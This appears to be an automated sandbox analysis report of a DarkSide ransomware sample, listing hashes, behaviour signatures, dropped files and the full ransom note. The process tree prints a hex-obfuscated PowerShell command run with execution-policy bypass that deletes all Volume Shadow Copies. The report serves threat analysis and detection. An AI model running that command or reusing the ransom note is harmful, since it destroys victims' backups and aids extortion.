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sub_afb22b1ff281.exe

windows10-2004-x64

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sub_afb22b1ff281.exe

windows11-21h2-x64

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Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/05/2026, 01:34

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General

  • Target
    sub_afb22b1ff281.exe
  • Size 59KB
  • Sample260524-by58ashs2v
  • SHA256 afb22b1ff281c085b60052831ead0a0ed300fac0160f87851dacc67d4e158178
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutiondarksideransomwarespywarestealer

Malware Config

Extracted

Path

  • C:\Users\Admin\README.ec4d456a.TXT

  • darkside

Ransom Note
  • ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/B69Q1UI7FTR7GBNM08Y61RV3YKYIE62POYGBVE93EYFTPQZLWTXR4X7ZHS3U24ZJ When you open our website, put the following data in the input form: Key: PgIAxDLHzRBDv5o7Vig18SbVmq1qcEu9HsTntjyBqxhnnwWyjxApsY2HT3pK3oIalb9zqbA4j1eGmiWR66X9DN7EukLCkowwM7RICR4D9qjNjLbn8c5MwyMkX05sY4uwBNKByivNh82hEySNXSnezWmTPKpqrBD5abDJp4IyXl8Z2XAtuSw9AeyTczEkZvGFwbapJ26Msu9v5mGcTYQ1BcramQkzfO50HcAuUWyksR5IEC7rLeWg4Nd8gTvgVRFmGEYgkfUrRvP5ZRahWCTNbu6WaXiHNHPrV90GJMdkDAqr7q4yN0MrGDiK8VVP60Gdqj9e8o9T0Q5xb8a97FksTzlUU4ISnpISmJqJ6sNuJYhnzpMt6DeV7M4q06U9THgAgxOnAMTVoXoZg8ekecZ1afysA2Zwa8jjqbn34dR36W96mFVlZJon776mdnqc0O1pLnMXHr8gB0QUKnSkAJQasUhcGJewGoBpioakie9nvFidiXnVHTspyqbPehbyB4geScdgrZlAraZqHnzLld6PNRjR0IXh4FqGU5Fvx69eNWlcxIt2iffqWbk !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

  • http://darksidfqzcuhtk2.onion/B69Q1UI7FTR7GBNM08Y61RV3YKYIE62POYGBVE93EYFTPQZLWTXR4X7ZHS3U24ZJ

Signatures

  • Family: DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

    ransomwaredarkside
  • Renames multiple (148) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\sub_afb22b1ff281.exe
    "C:\Users\Admin\AppData\Local\Temp\sub_afb22b1ff281.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4804
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2836

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 7113815f01d20c8d2fa86a3b15dc253895250ae7b76b9a9cc317b4e9f351d09f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_y45sdcvf.umr.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y45sdcvf.umr.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        README.ec4d456a.TXT
        • Path C:\Users\Admin\README.ec4d456a.TXT
        • Size 1KB
        • SHA256 a56ad970ffd146a5a96e750eb3f17b829a37aca22ce1724b1925e8b6ec5b732b
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/4804-1-0x0000021C61FB0000-0x0000021C61FC0000-memory.dmp
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        memory/4804-2-0x0000021C7EB90000-0x0000021C7EBB2000-memory.dmp
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        memory/4804-9-0x0000021C61FB0000-0x0000021C61FC0000-memory.dmp
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